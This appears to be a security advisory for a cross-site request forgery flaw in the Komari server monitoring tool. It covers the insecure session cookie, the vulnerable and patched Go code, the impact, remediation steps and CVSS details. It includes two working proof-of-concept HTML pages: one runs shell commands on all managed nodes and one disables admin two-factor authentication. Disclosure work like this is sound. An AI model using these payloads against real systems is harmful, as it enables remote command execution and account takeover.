GHSA-HXJG-93WC-H8P8
GHSA-hxjg-93wc-h8p8: Cross-Site Request Forgery in Komari Management Interface
Alon Barad
Software EngineerSep 10, 2026·5 min read·3 visits
Executive Summary (TL;DR)
Unauthenticated remote attackers can execute arbitrary shell commands on managed nodes and disable administrative 2FA by tricking an authenticated administrator into visiting a malicious link.
A high-severity Cross-Site Request Forgery (CSRF) vulnerability exists in the Komari server monitoring tool. The administrative interface sets authentication cookies without restrictive SameSite or Secure attributes, and lacks any CSRF validation, enabling unauthenticated remote attackers to execute arbitrary commands or modify backend settings by exploiting administrative sessions.
Vulnerability Overview
A high-severity Cross-Site Request Forgery (CSRF) vulnerability has been identified in the administrative interface of the Komari server monitoring tool. The flaw allows unauthenticated remote attackers to execute administrative state-changing actions via the browser of an authenticated administrator.
The target application sets the administrative authentication cookie (session_token) without specifying restrictive SameSite or Secure attributes. Furthermore, the routing configuration for /api/admin/ lacks Origin, Referer, or custom header validation, exposing critical endpoints to cross-origin abuse.
Root Cause Analysis
The root cause of this vulnerability lies in the combination of insecure session cookie configuration and the total absence of CSRF validation middleware on sensitive API endpoints.
During user authentication, the backend issues an authentication cookie. In the file api/public/login.go around line 68, the session_token cookie is created using the Gin framework's SetCookie function. The function is invoked without explicitly setting the SameSite parameter, leaving it empty. In legacy browsers or under specific cross-origin contexts, the browser defaults to loose cookie-sending behaviors.
Furthermore, the Secure flag is configured as false. This allows the session cookie to be transmitted over unencrypted HTTP, exposing it to interception. There are no additional controls—such as custom CSRF tokens or verification of Origin and Referer headers—present within the route group handling administrative commands.
Code Analysis
An analysis of the vulnerable and patched code shows how the cookie properties and routes were managed.
Vulnerable Code Path
In api/public/login.go, the cookie is set using default Gin parameters where transport security is disabled:
// Location: api/public/login.go
// The sixth parameter is 'secure' (set to false)
c.SetCookie("session_token", session, 2592000, "/", "", false, true)Because the SameSite attribute is not explicitly configured on the context, the web server fails to supply a SameSite policy in the Set-Cookie header. Under legacy browser implementations or local intranet environments, this allows cross-site requests to automatically append the cookie.
Patched Implementation
To remediate the issue, the application must explicitly define a restrictive SameSite policy and enforce transport security:
// Location: api/public/login.go (Patched)
// Explicitly enforce SameSite Lax behavior
c.SetSameSite(http.SameSiteLaxMode)
// Set secure parameter (fifth parameter) to true to restrict transmission to HTTPS
c.SetCookie("session_token", session, 2592000, "/", "", true, true)Exploitation Methodology
Exploitation is highly practical using cross-site requests. Because Gin's default JSON binder parses parameters regardless of the received Content-Type header, attackers can bypass CORS preflight restrictions by serving payloads with a text/plain Content-Type.
Proof-of-Concept 1: Remote Command Execution (RCE)
This script forces the administrator's browser to retrieve the active node list and execute arbitrary system shell commands across all managed client nodes:
<!DOCTYPE html>
<html>
<body>
<script>
var TARGET = "https://komari.example.com";
var COMMAND = "id && hostname && whoami";
fetch(TARGET + "/api/admin/client/list", { credentials: "include" })
.then(function(r) { return r.json(); })
.then(function(data) {
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(TARGET + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "text/plain" },
body: JSON.stringify({ command: COMMAND, clients: uuids })
});
});
</script>
</body>
</html>Proof-of-Concept 2: Disabling Two-Factor Authentication
An attacker can disable multi-factor administrative protections by tricking the victim into navigating to the following page:
<!DOCTYPE html>
<html>
<body>
<iframe name="hidden-sink" style="display:none"></iframe>
<form id="exploitForm" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="hidden-sink"></form>
<script>
document.getElementById('exploitForm').submit();
</script>
</body>
</html>Impact Assessment
The execution of this vulnerability leads to high-severity outcomes. An attacker who successfully exploits an administrative session achieves complete system compromise over both the monitoring master and the monitored fleet.
Critical Actions Reachable:
- Arbitrary Shell Execution: The attacker can send arbitrary shell tasks to any managed client endpoint.
- Authentication Defeat: The attacker can selectively disable administrative two-factor authentication (2FA).
- Stored XSS: Attackers can rewrite site configuration templates to inject malicious persistent payloads (
custom_headscript injection), leading to subsequent session hijacking. - Data Deletion: Complete eradication of all monitoring records and active status logs.
Remediation & Defense
To resolve the vulnerability, administrators must update the Komari server installation to version 1.2.2 or later.
Manual Remediation Steps:
- Update the cookie configuration within the login handler to set
Secure=trueand enforceSameSite=LaxorSameSite=Strict. - Implement a custom middleware to validate incoming request origins. This middleware must cross-reference the request's
OriginorRefererheader against the expected host header. - Implement a custom validation header (e.g., requiring standard headers like
X-Requested-With) for all API routes under/api/admin/.
Technical Appendix
CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HAffected Systems
Komari Monitoring Server (github.com/komari-monitor/komari)
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
github.com/komari-monitor/komari Komari Monitor Team | < 0.0.0-20260609084633-98122fa4d110 | 1.2.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-352 (Cross-Site Request Forgery) |
| Attack Vector | Network (AV:N) |
| CVSS Severity | 8.8 (High) |
| Exploit Maturity | Proof of Concept (PoC) |
| Impact | Remote Code Execution / Privilege Escalation |
| First Patched Version | 1.2.2 |
MITRE ATT&CK Mapping
CWE-352
Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally sent by the user who submitted the request.
